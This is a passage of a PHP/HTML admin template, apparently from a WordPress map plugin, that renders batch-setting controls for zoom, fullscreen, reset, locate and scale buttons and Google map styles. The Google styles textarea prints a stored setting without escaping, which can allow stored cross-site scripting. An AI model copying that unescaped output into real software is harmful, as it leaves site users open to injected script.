/>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"basemapGoogleStylesCheck\" class=\"batch-settings-check\" name=\"basemapGoogleStylesCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"basemapGoogleStyles\"><?= esc_html__('Google styles', 'mmp') ?>*</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<textarea id=\"basemapGoogleStyles\" name=\"basemapGoogleStyles\"><?= $settings['basemapGoogleStyles'] ?></textarea><br />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"zoomButtonsContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"zoomControlPositionCheck\" class=\"batch-settings-check\" name=\"zoomControlPositionCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<?= esc_html__('Position', 'mmp') ?>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"zoomControlPosition\" value=\"hidden\" <?= !($settings['zoomControlPosition'] == 'hidden') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-hidden.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"zoomControlPosition\" value=\"topleft\" <?= !($settings['zoomControlPosition'] == 'topleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"zoomControlPosition\" value=\"topright\" <?= !($settings['zoomControlPosition'] == 'topright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"zoomControlPosition\" value=\"bottomleft\" <?= !($settings['zoomControlPosition'] == 'bottomleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"zoomControlPosition\" value=\"bottomright\" <?= !($settings['zoomControlPosition'] == 'bottomright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"fullscreenButtonContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"fullscreenPositionCheck\" class=\"batch-settings-check\" name=\"fullscreenPositionCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<?= esc_html__('Position', 'mmp') ?>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"fullscreenPosition\" value=\"hidden\" <?= !($settings['fullscreenPosition'] == 'hidden') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-hidden.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"fullscreenPosition\" value=\"topleft\" <?= !($settings['fullscreenPosition'] == 'topleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"fullscreenPosition\" value=\"topright\" <?= !($settings['fullscreenPosition'] == 'topright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"fullscreenPosition\" value=\"bottomleft\" <?= !($settings['fullscreenPosition'] == 'bottomleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"fullscreenPosition\" value=\"bottomright\" <?= !($settings['fullscreenPosition'] == 'bottomright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"resetButtonContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"resetPositionCheck\" class=\"batch-settings-check\" name=\"resetPositionCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<?= esc_html__('Position', 'mmp') ?>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"resetPosition\" value=\"hidden\" <?= !($settings['resetPosition'] == 'hidden') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-hidden.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"resetPosition\" value=\"topleft\" <?= !($settings['resetPosition'] == 'topleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"resetPosition\" value=\"topright\" <?= !($settings['resetPosition'] == 'topright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"resetPosition\" value=\"bottomleft\" <?= !($settings['resetPosition'] == 'bottomleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"resetPosition\" value=\"bottomright\" <?= !($settings['resetPosition'] == 'bottomright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"resetOnDemandCheck\" class=\"batch-settings-check\" name=\"resetOnDemandCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"resetOnDemand\"><?= esc_html__('On demand', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"resetOnDemand\" name=\"resetOnDemand\" <?= !$settings['resetOnDemand'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"locateButtonContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locatePositionCheck\" class=\"batch-settings-check\" name=\"locatePositionCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<?= esc_html__('Position', 'mmp') ?>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"locatePosition\" value=\"hidden\" <?= !($settings['locatePosition'] == 'hidden') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-hidden.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"locatePosition\" value=\"topleft\" <?= !($settings['locatePosition'] == 'topleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"locatePosition\" value=\"topright\" <?= !($settings['locatePosition'] == 'topright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"locatePosition\" value=\"bottomleft\" <?= !($settings['locatePosition'] == 'bottomleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"locatePosition\" value=\"bottomright\" <?= !($settings['locatePosition'] == 'bottomright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateDrawCircleCheck\" class=\"batch-settings-check\" name=\"locateDrawCircleCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"locateDrawCircle\"><?= esc_html__('Draw circle', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateDrawCircle\" name=\"locateDrawCircle\" <?= !$settings['locateDrawCircle'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateDrawMarkerCheck\" class=\"batch-settings-check\" name=\"locateDrawMarkerCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"locateDrawMarker\"><?= esc_html__('Draw marker', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateDrawMarker\" name=\"locateDrawMarker\" <?= !$settings['locateDrawMarker'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateSetViewCheck\" class=\"batch-settings-check\" name=\"locateSetViewCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"locateSetView\"><?= esc_html__('Set view', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<select id=\"locateSetView\" name=\"locateSetView\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<option value=\"once\" <?= !($settings['locateSetView'] == 'once') ?: 'selected=\"selected\"' ?>><?= esc_html__('Once', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<option value=\"always\" <?= !($settings['locateSetView'] == 'always') ?: 'selected=\"selected\"' ?>><?= esc_html__('Always', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<option value=\"untilPan\" <?= !($settings['locateSetView'] == 'untilPan') ?: 'selected=\"selected\"' ?>><?= esc_html__('Until pan', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<option value=\"untilPanOrZoom\" <?= !($settings['locateSetView'] == 'untilPanOrZoom') ?: 'selected=\"selected\"' ?>><?= esc_html__('Until pan or zoom', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateKeepCurrentZoomLevelCheck\" class=\"batch-settings-check\" name=\"locateKeepCurrentZoomLevelCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"locateKeepCurrentZoomLevel\"><?= esc_html__('Keep current zoom level', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateKeepCurrentZoomLevel\" name=\"locateKeepCurrentZoomLevel\" <?= !$settings['locateKeepCurrentZoomLevel'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateClickBehaviorInViewCheck\" class=\"batch-settings-check\" name=\"locateClickBehaviorInViewCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"locateClickBehaviorInView\"><?= esc_html__('Click behavior in view', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<select id=\"locateClickBehaviorInView\" name=\"locateClickBehaviorInView\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<option value=\"stop\" <?= !($settings['locateClickBehaviorInView'] == 'stop') ?: 'selected=\"selected\"' ?>><?= esc_html__('Stop', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<option value=\"setView\" <?= !($settings['locateClickBehaviorInView'] == 'setView') ?: 'selected=\"selected\"' ?>><?= esc_html__('Set view', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateClickBehaviorOutOfViewCheck\" class=\"batch-settings-check\" name=\"locateClickBehaviorOutOfViewCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"locateClickBehaviorOutOfView\"><?= esc_html__('Click behavior out of view', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<select id=\"locateClickBehaviorOutOfView\" name=\"locateClickBehaviorOutOfView\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<option value=\"stop\" <?= !($settings['locateClickBehaviorOutOfView'] == 'stop') ?: 'selected=\"selected\"' ?>><?= esc_html__('Stop', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<option value=\"setView\" <?= !($settings['locateClickBehaviorOutOfView'] == 'setView') ?: 'selected=\"selected\"' ?>><?= esc_html__('Set view', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateIconCheck\" class=\"batch-settings-check\" name=\"locateIconCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"locateIcon\"><?= esc_html__('Icon', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<select id=\"locateIcon\" name=\"locateIcon\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<option value=\"icon-cross-hairs\" <?= !($settings['locateIcon'] == 'icon-cross-hairs') ?: 'selected=\"selected\"' ?>><?= esc_html__('Crosshairs', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<option value=\"icon-pin\" <?= !($settings['locateIcon'] == 'icon-pin') ?: 'selected=\"selected\"' ?>><?= esc_html__('Pin', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<option value=\"icon-arrow\" <?= !($settings['locateIcon'] == 'icon-arrow') ?: 'selected=\"selected\"' ?>><?= esc_html__('Arrow', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateMetricCheck\" class=\"batch-settings-check\" name=\"locateMetricCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"locateMetric\"><?= esc_html__('Metric units', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateMetric\" name=\"locateMetric\" <?= !$settings['locateMetric'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateShowPopupCheck\" class=\"batch-settings-check\" name=\"locateShowPopupCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"locateShowPopup\"><?= esc_html__('Show popup', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateShowPopup\" name=\"locateShowPopup\" <?= !$settings['locateShowPopup'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateAutostartCheck\" class=\"batch-settings-check\" name=\"locateAutostartCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"locateAutostart\"><?= esc_html__('Autostart', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"locateAutostart\" name=\"locateAutostart\" <?= !$settings['locateAutostart'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"scaleContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"scalePositionCheck\" class=\"batch-settings-check\" name=\"scalePositionCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<?= esc_html__('Position', 'mmp') ?>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"scalePosition\" value=\"hidden\" <?= !($settings['scalePosition'] == 'hidden') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-hidden.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"scalePosition\" value=\"topleft\" <?= !($settings['scalePosition'] == 'topleft') ?: 'checked=\"checked\"' ?> 